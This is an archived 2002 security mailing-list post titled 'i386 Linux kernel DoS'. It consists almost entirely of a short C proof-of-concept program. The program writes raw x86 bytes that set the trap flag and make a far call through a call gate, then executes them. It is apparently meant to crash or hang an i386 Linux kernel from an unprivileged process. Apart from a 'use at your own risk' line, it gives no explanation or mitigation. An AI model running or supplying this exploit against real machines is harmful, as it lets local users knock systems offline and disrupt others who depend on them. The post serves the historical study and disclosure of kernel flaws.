i386 Linux kernel DoS

From: Christophe Devine (devineat_private)
Date: Mon Nov 11 2002 - 12:25:55 PST

  • Next message: FreeBSD Security Advisories: "FreeBSD Security Advisory FreeBSD-SA-02:40.kadmind"

    
     ('binary' encoding is not supported, stored as-is)
    /* USE AT YOUR OWN RISK ! */
    
    int main( void )
    {
        char dos[] = "\x9C"                           /* pushfd       */
                     "\x58"                           /* pop eax      */
                     "\x0D\x00\x01\x00\x00"           /* or eax,100h  */
                     "\x50"                           /* push eax     */
                     "\x9D"                           /* popfd        */
                     "\x9A\x00\x00\x00\x00\x07\x00";  /* call 07h:00h */
    
        void (* f)( void );
    
        f = (void *) dos; (* f)();
    
        return 1;
    }
    



    This archive was generated by hypermail 2b30 : Wed Nov 13 2002 - 06:11:20 PST